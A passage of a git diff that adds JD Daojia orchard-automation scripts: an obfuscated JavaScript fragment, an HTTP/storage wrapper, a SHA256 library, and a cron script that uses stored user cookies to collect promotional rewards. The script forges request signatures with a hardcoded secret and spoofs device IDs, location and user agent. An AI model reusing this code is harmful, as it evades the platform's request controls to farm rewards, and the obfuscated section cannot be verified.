7,0xc62)](_0x52652a)),'\x2d'),_0x12e43c[_0x4e8fa1('\x35\x37\x26\x25',0x651,0x5f0,0x27f,0x2eb)](_0x52652a)),'\x2d'),_0x12e43c[_0x4e8fa1('\x77\x40\x43\x59',0xbe3,0x906,0x113b,0xf73)](_0x52652a)),'\x2d'),_0x12e43c[_0x291430(0xc64,'\x47\x38\x4e\x52',0xbe5,0x139c,0xe2c)](_0x52652a)),_0x12e43c[_0x3c27d4(0xacb,'\x45\x33\x6b\x40',0xa8c,0x1a6,0x643)](_0x52652a)),_0x12e43c[_0x547edf(0xa49,'\x41\x43\x59\x76',-0x295,0x5e8,-0x4)](_0x52652a));}function getZoneTime(_0x2cc281){const _0x54ebd3={'\x4b\x78\x73\x61\x4b':_0x416dca(0x1126,0x165b,'\x57\x38\x4f\x70',0x1873,0x1132)+_0x40a82c('\x63\x66\x74\x31',0x162a,0x1338,0x1aa1,0xd3f)+_0x45e417(0x12d2,0x9c8,'\x6d\x57\x5a\x29',0x51b,0x11b4),'\x59\x48\x4f\x61\x75':function(_0x2067da,_0xb2f3eb){return _0x2067da+_0xb2f3eb;},'\x6f\x6b\x74\x64\x5a':function(_0x2bc07f,_0x2d24ca){return _0x2bc07f*_0x2d24ca;},'\x64\x4b\x73\x42\x4f':function(_0xf9bc8,_0x34aac6){return _0xf9bc8+_0x34aac6;},'\x51\x61\x74\x75\x45':function(_0x250656,_0x3d6015){return _0x250656*_0x3d6015;},'\x76\x76\x49\x59\x44':function(_0x276b1d,_0x2fe349){return _0x276b1d+_0x2fe349;},'\x72\x6c\x63\x41\x61':function(_0x4221b6,_0x1b2dc){return _0x4221b6+_0x1b2dc;}};function _0x53f7af(_0x3d39ba,_0x42142d,_0x1f1b87,_0x330159,_0x3cd3ee){return _0xdd0bc1(_0x42142d-0x169,_0x42142d-0x2c,_0x3cd3ee,_0x330159-0x191,_0x3cd3ee-0xc2);}function _0x40a82c(_0x388ae3,_0x1833b3,_0x2927af,_0x496d0d,_0x4f8e09){return _0x353885(_0x388ae3,_0x1833b3-0x46,_0x2927af-0x11b,_0x496d0d-0x19f,_0x2927af- -0x152);}function _0x1a7fe4(_0x1653cb,_0x1c2db8,_0x3fa9bc,_0x4b8cf4,_0xf50be0){return _0xdd0bc1(_0x3fa9bc-0x205,_0x1c2db8-0x86,_0x1653cb,_0x4b8cf4-0x166,_0xf50be0-0xf1);}function _0x416dca(_0x41a52c,_0x50b597,_0x5115c9,_0x1751f8,_0x146861){return _0x1e1b73(_0x41a52c-0x4e,_0x50b597-0x77,_0x5115c9,_0x146861- -0x202,_0x146861-0x14e);}function _0x45e417(_0x342387,_0x5e3d1c,_0x107050,_0x392dee,_0x1e69b0){return _0x43f741(_0x5e3d1c-0x20e,_0x5e3d1c-0x89,_0x107050,_0x392dee-0x1a,_0x1e69b0-0xb9);}const _0x1c9f04=_0x54ebd3[_0x416dca(0x658,0x160e,'\x52\x7a\x58\x2a',0xcbb,0xf6a)][_0x40a82c('\x76\x78\x62\x62',0x5dc,0xc93,0x989,0x139c)]('\x7c');let _0x48bb7e=0x4e+-0xdd5*0x1+0xd87;while(!![]){switch(_0x1c9f04[_0x48bb7e++]){case'\x30':var _0x5f3487=_0x54ebd3[_0x1a7fe4('\x62\x77\x6a\x54',0x11bc,0x114d,0xa1b,0x16b1)](_0x267a40,_0x54ebd3[_0x53f7af(0x124c,0xd8f,0x516,0x11b1,'\x78\x56\x67\x4f')](-0x30ed76+-0x19329*0x2f+0xb1e07d,_0x2cc281));continue;case'\x31':var _0x267a40=_0x54ebd3[_0x45e417(0x610,0xa71,'\x52\x59\x64\x49',0xfbc,0x1187)](_0x5c0c07,_0x1829b1);continue;case'\x32':var _0x5c0c07=_0x54ebd3[_0x1a7fe4('\x66\x66\x76\x75',0x1377,0xb9a,0x2b3,0xc59)](_0x2432ca[_0x40a82c('\x53\x34\x6c\x29',0x1391,0x1497,0xbdc,0x157f)+_0x1a7fe4('\x4f\x4f\x25\x29',0x23c,0xa77,0x1181,0xdc5)+_0x53f7af(-0x310,0x354,0x433,-0x56,'\x6b\x59\x6b\x44')+'\x65\x74'](),-0x16ed*0x9+0x8*0x3922+0x105b*-0x1);continue;case'\x33':var _0x2432ca=new Date();continue;case'\x34':var _0xb22d60=new Date(_0x5f3487);continue;case'\x35':var _0x1829b1=_0x2432ca[_0x53f7af(0x1ae6,0x12de,0x1891,0x103d,'\x32\x49\x5b\x49')+'\x6d\x65']();continue;case'\x36':return _0x54ebd3[_0x1a7fe4('\x46\x6f\x5e\x6c',-0x7c,0x25b,0x55e,-0x659)](_0x54ebd3[_0x416dca(-0x542,-0x3de,'\x36\x70\x67\x64',0x4b1,0x417)](_0x54ebd3[_0x53f7af(0xf1e,0x631,0xf26,0x6f3,'\x53\x28\x21\x51')](_0x54ebd3[_0x416dca(0x274,0x33,'\x45\x24\x6c\x69',0xbd9,0x93f)](_0x54ebd3[_0x45e417(0x15b0,0xd86,'\x36\x57\x6b\x69',0x1184,0xe72)](_0x54ebd3[_0x416dca(0x5ce,0xe56,'\x5a\x30\x31\x38',0x1281,0xb62)](_0xb22d60[_0x1a7fe4('\x53\x34\x6c\x29',0xc93,0x84f,0x10df,0x109)+_0x53f7af(0x13,0x5c0,-0x2d6,0x8ab,'\x6e\x70\x4f\x48')+'\x6e\x67'](),'\x20'),_0xb22d60[_0x416dca(0xa73,-0x159,'\x4f\x40\x44\x71',0x3b8,0x46b)+_0x416dca(0x15ec,0x134f,'\x47\x28\x51\x45',0x177b,0x11e1)]()),'\x3a'),_0xb22d60[_0x416dca(0x10bf,0x1165,'\x32\x49\x5b\x49',0xdf8,0xfd5)+_0x416dca(-0x10c,0xb75,'\x24\x63\x6f\x37',0xdc5,0x72e)]()),'\x3a'),_0xb22d60[_0x40a82c('\x53\x41\x31\x35',0x254,0x49f,-0x152,0x391)+_0x1a7fe4('\x6d\x5e\x6e\x43',0xcc8,0x4a3,0x275,0xc9c)]());}break;}} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ + +/*********************************** SHA256 *************************************/ +var hexcase=0;var b64pad="";function hex_sha256(s){return rstr2hex(rstr_sha256(str2rstr_utf8(s)))}function b64_sha256(s){return rstr2b64(rstr_sha256(str2rstr_utf8(s)))}function any_sha256(s,e){return rstr2any(rstr_sha256(str2rstr_utf8(s)),e)}function hex_hmac_sha256(k,d){return rstr2hex(rstr_hmac_sha256(str2rstr_utf8(k),str2rstr_utf8(d)))}function b64_hmac_sha256(k,d){return rstr2b64(rstr_hmac_sha256(str2rstr_utf8(k),str2rstr_utf8(d)))}function any_hmac_sha256(k,d,e){return rstr2any(rstr_hmac_sha256(str2rstr_utf8(k),str2rstr_utf8(d)),e)}function sha256_vm_test(){return hex_sha256("abc").toLowerCase()=="ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"}function rstr_sha256(s){return binb2rstr(binb_sha256(rstr2binb(s),s.length*8))}function rstr_hmac_sha256(key,data){var bkey=rstr2binb(key);if(bkey.length>16)bkey=binb_sha256(bkey,key.length*8);var ipad=Array(16),opad=Array(16);for(var i=0;i<16;i++){ipad[i]=bkey[i]^0x36363636;opad[i]=bkey[i]^0x5C5C5C5C}var hash=binb_sha256(ipad.concat(rstr2binb(data)),512+data.length*8);return binb2rstr(binb_sha256(opad.concat(hash),512+256))}function rstr2hex(input){try{hexcase}catch(e){hexcase=0}var hex_tab=hexcase?"0123456789ABCDEF":"0123456789abcdef";var output="";var x;for(var i=0;i>>4)&0x0F)+hex_tab.charAt(x&0x0F)}return output}function rstr2b64(input){try{b64pad}catch(e){b64pad=''}var tab="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var output="";var len=input.length;for(var i=0;iinput.length*8)output+=b64pad;else output+=tab.charAt((triplet>>>6*(3-j))&0x3F)}}return output}function rstr2any(input,encoding){var divisor=encoding.length;var remainders=Array();var i,q,x,quotient;var dividend=Array(Math.ceil(input.length/2));for(i=0;i0){quotient=Array();x=0;for(i=0;i0||q>0)quotient[quotient.length]=q}remainders[remainders.length]=x;dividend=quotient}var output="";for(i=remainders.length-1;i>=0;i--)output+=encoding.charAt(remainders[i]);var full_length=Math.ceil(input.length*8/(Math.log(encoding.length)/Math.log(2)));for(i=output.length;i>>6)&0x1F),0x80|(x&0x3F));else if(x<=0xFFFF)output+=String.fromCharCode(0xE0|((x>>>12)&0x0F),0x80|((x>>>6)&0x3F),0x80|(x&0x3F));else if(x<=0x1FFFFF)output+=String.fromCharCode(0xF0|((x>>>18)&0x07),0x80|((x>>>12)&0x3F),0x80|((x>>>6)&0x3F),0x80|(x&0x3F))}return output}function str2rstr_utf16le(input){var output="";for(var i=0;i>>8)&0xFF);return output}function str2rstr_utf16be(input){var output="";for(var i=0;i>>8)&0xFF,input.charCodeAt(i)&0xFF);return output}function rstr2binb(input){var output=Array(input.length>>2);for(var i=0;i>5]|=(input.charCodeAt(i/8)&0xFF)<<(24-i%32);return output}function binb2rstr(input){var output="";for(var i=0;i>5]>>>(24-i%32))&0xFF);return output}function sha256_S(X,n){return(X>>>n)|(X<<(32-n))}function sha256_R(X,n){return(X>>>n)}function sha256_Ch(x,y,z){return((x&y)^((~x)&z))}function sha256_Maj(x,y,z){return((x&y)^(x&z)^(y&z))}function sha256_Sigma0256(x){return(sha256_S(x,2)^sha256_S(x,13)^sha256_S(x,22))}function sha256_Sigma1256(x){return(sha256_S(x,6)^sha256_S(x,11)^sha256_S(x,25))}function sha256_Gamma0256(x){return(sha256_S(x,7)^sha256_S(x,18)^sha256_R(x,3))}function sha256_Gamma1256(x){return(sha256_S(x,17)^sha256_S(x,19)^sha256_R(x,10))}function sha256_Sigma0512(x){return(sha256_S(x,28)^sha256_S(x,34)^sha256_S(x,39))}function sha256_Sigma1512(x){return(sha256_S(x,14)^sha256_S(x,18)^sha256_S(x,41))}function sha256_Gamma0512(x){return(sha256_S(x,1)^sha256_S(x,8)^sha256_R(x,7))}function sha256_Gamma1512(x){return(sha256_S(x,19)^sha256_S(x,61)^sha256_R(x,6))}var sha256_K=new Array(1116352408,1899447441,-1245643825,-373957723,961987163,1508970993,-1841331548,-1424204075,-670586216,310598401,607225278,1426881987,1925078388,-2132889090,-1680079193,-1046744716,-459576895,-272742522,264347078,604807628,770255983,1249150122,1555081692,1996064986,-1740746414,-1473132947,-1341970488,-1084653625,-958395405,-710438585,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,-2117940946,-1838011259,-1564481375,-1474664885,-1035236496,-949202525,-778901479,-694614492,-200395387,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,-2067236844,-1933114872,-1866530822,-1538233109,-1090935817,-965641998);function binb_sha256(m,l){var HASH=new Array(1779033703,-1150833019,1013904242,-1521486534,1359893119,-1694144372,528734635,1541459225);var W=new Array(64);var a,b,c,d,e,f,g,h;var i,j,T1,T2;m[l>>5]|=0x80<<(24-l%32);m[((l+64>>9)<<4)+15]=l;for(i=0;i>16)+(y>>16)+(lsw>>16);return(msw<<16)|(lsw&0xFFFF)} +/*********************************** SHA256 *************************************/ diff --git a/jddj_fruit.json b/jddj_fruit.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/jddj_fruit.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/jddj_fruit_collectWater.js b/jddj_fruit_collectWater.js new file mode 100644 index 0000000..f18e53a --- /dev/null +++ b/jddj_fruit_collectWater.js @@ -0,0 +1,304 @@ +/* +京东到家果园水车收水滴任务脚本,支持qx,loon,shadowrocket,surge,nodejs +兼容京东jdCookie.js +手机设备在boxjs里填写cookie +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json +TG群:https://t.me/passerbyb2021 +*/ + +//[task_local] +// 5 */1 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_fruit_collectWater.js + +//================Loon============== +//[Script] +//cron "5 */1 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_fruit_collectWater.js,tag=京东到家果园水车收水滴 +// + +const $ = new API("jddj_fruit_collectWater"); +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH +let cookies = []; +let thiscookie = '', deviceid = ''; +let lat = '30.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let lng = '114.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let cityid = Math.round(Math.random() * (1500 - 1000) + 1000); +!(async () => { + if (cookies.length == 0) { + if ($.env.isNode) { + if (process.env.JDDJ_CKPATH) ckPath = process.env.JDDJ_CKPATH; + delete require.cache[ckPath]; + let jdcookies = require(ckPath); + for (let key in jdcookies) if (!!jdcookies[key]) cookies.push(jdcookies[key]); + } + else { + let ckstr = $.read('#jddj_cookies'); + if (!!ckstr) { + if (ckstr.indexOf(',') < 0) { + cookies.push(ckstr); + } else { + cookies = ckstr.split(','); + } + } + } + } + if (cookies.length == 0) { + console.log(`\r\n请先填写cookie`); + return; + } + for (let i = 0; i < cookies.length; i++) { + console.log(`\r\n★★★★★开始执行第${i + 1}个账号,共${cookies.length}个账号★★★★★`); + thiscookie = cookies[i]; + + if (!thiscookie) continue; + + thiscookie = await taskLoginUrl(thiscookie); + + await userinfo(); + await $.wait(1000); + + await treeInfo(); + await $.wait(1000); + + let tslist = await taskList(); + if (tslist.code == 1) { + $.notify('第' + (i + 1) + '个账号cookie过期', '请访问\nhttps://bean.m.jd.com/bean/signIndex.action\n抓取cookie', { url: 'https://bean.m.jd.com/bean/signIndex.action' }); + continue; + } + + await collectWater(); + await $.wait(1000); + + // await water(); + // await $.wait(1000); + + // await treeInfo(); + // await $.wait(1000); + + } + +})().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}) + +//个人信息 +async function userinfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&platCode=H5&appName=paidaojia&channel=&appVersion=8.7.6&jdDevice=&functionId=mine%2FgetUserAccountInfo&body=%7B%22refPageSource%22:%22%22,%22fromSource%22:2,%22pageSource%22:%22myinfo%22,%22ref%22:%22%22,%22ctp%22:%22myinfo%22%7D&jda=&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', '') + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + try { + nickname = data.result.userInfo.userBaseInfo.nickName; + console.log("●●●" + nickname + "●●●"); + } catch (error) { + console.log("●●●昵称获取失败●●●"); + } + + } + }) + resolve(); + + } catch (error) { + console.log('\n【个人信息】:' + error); + resolve(); + } + }) +} + +//收水滴 +async function collectWater() { + return new Promise(async resolve => { + try { + let time = Math.round(new Date()); + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + time + '&_funid_=fruit/collectWater', 'functionId=fruit%2FcollectWater&isNeedDealError=true&body=%7B%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=rn&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + time + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + time + '&_funid_=fruit%2FcollectWater'); + option.url += '&' + option.body; + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + console.log('\n【收水滴】:' + data.msg + ',累计收获:' + data.result.totalCollectWater); + } + else { + console.log('\n【收水滴】:' + data.msg); + } + }) + resolve(); + + } catch (error) { + console.log('\n【收水滴】:' + error); + resolve(); + } + }) +} + +//任务列表 +async function taskList() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Flist&isNeedDealError=true&body=%7B%22modelId%22%3A%22M10007%22%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, ''); + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + resolve(data); + }) + + } catch (error) { + console.log('\n【浇水】:' + error); + resolve({}); + } + + }) +} + +//浇水 +async function water() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=fruit%2Fwatering&isNeedDealError=true&method=POST&body=%7B%22waterTime%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + let waterStatus = 1, waterCount = 0; + do { + waterCount++; + console.log(`\n**********开始执行第${waterCount}次浇水**********`); + + $.http.post(option).then(response => { + let data = JSON.parse(response.body); + console.log('\n【浇水】:' + data.msg); + waterStatus = data.code; + }) + await $.wait(1000); + } while (waterStatus == 0); + resolve(); + + } catch (error) { + console.log('\n【浇水】:' + error); + resolve(); + } + + }) + +} + +//当前果树详情 +async function treeInfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com:443/client?_jdrandom=' + Math.round(new Date()), 'functionId=fruit%2FinitFruit&isNeedDealError=true&method=POST&body=%7B%22cityId%22%3A' + cityid + '%2C%22longitude%22%3A' + lng + '%2C%22latitude%22%3A' + lat + '%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid); + await $.http.post(option).then(async response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + console.log('\n【果树信息】:' + data.result.activityInfoResponse.fruitName + ',还需浇水' + data.result.activityInfoResponse.curStageLeftProcess + '次' + data.result.activityInfoResponse.stageName + ',还剩' + data.result.userResponse.waterBalance + '滴水'); + shareCode = data.result.activityInfoResponse.userPin; + } + resolve(); + }) + } catch (error) { + console.log('\n【果树信息】:' + error); + resolve(); + } + + }) +} + +function urlTask(url, body) { + + let arr = decodeURIComponent(body).split('&'); + let json = {}, keys = [], sortVlaues = []; + for (const o of arr) { + let c = o.split('='); + if (!!c[1] && c[0] != 'functionId' && c[0] != 'signKeyV1') { + json[c[0]] = c[1]; + keys.push(c[0]); + } + } + keys = keys.sort(); + keys.forEach(element => { + sortVlaues.push(json[element]); + }); + + const secret = "923047ae3f8d11d8b19aeb9f3d1bc200";//秘钥 + let cryptoContent = hex_hmac_sha256(secret, sortVlaues.join('&')); + + let option = { + url: url, + headers: { + 'Host': 'daojia.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Cookie': thiscookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': 'jdapp;iPhone;10.1.0;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;addressid/397459499;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Accept-Language': 'zh-cn' + }, + body: body + '&signKeyV1=' + cryptoContent + }; + return option; +} + +//根据京东ck获取到家ck +async function taskLoginUrl(thiscookie) { + return new Promise(async resolve => { + try { + if (thiscookie.indexOf('deviceid_pdj_jd') > -1) { + let arr = thiscookie.split(';'); + for (const o of arr) { + if (o.indexOf('deviceid_pdj_jd') > -1) { + deviceid = o.split('=')[1]; + } + } + resolve(thiscookie); + } + else { + deviceid = _uuid(); + let option = { + url: encodeURI('https://daojia.jd.com/client?_jdrandom=' + (+new Date()) + '&_funid_=login/treasure&functionId=login/treasure&body={}&lat=&lng=&lat_pos=&lng_pos=&city_id=&channel=h5&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&isNeedDealError=false&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + (+new Date()) + '&_funid_=login/treasure'), + headers: { + "Cookie": 'deviceid_pdj_jd=' + deviceid + ';' + thiscookie + ';', + "Host": "daojia.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded;', + "User-Agent": 'jdapp;iPhone;10.0.10;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + } + }; + let ckstr = ''; + await $.http.get(option).then(async response => { + //console.log(response); + let body = JSON.parse(response.body); + if (body.code == 0) { + for (const key in response.headers) { + if (key.toLowerCase().indexOf('cookie') > -1) { + ckstr = response.headers[key].toString(); + } + } + ckstr += ';deviceid_pdj_jd=' + deviceid; + } + else { + console.log(body.msg); + } + }); + resolve(ckstr); + } + + } catch (error) { + console.log(error); + resolve(''); + } + }) +} + +function _uuid() { + function s4() { + return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); + } + return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; 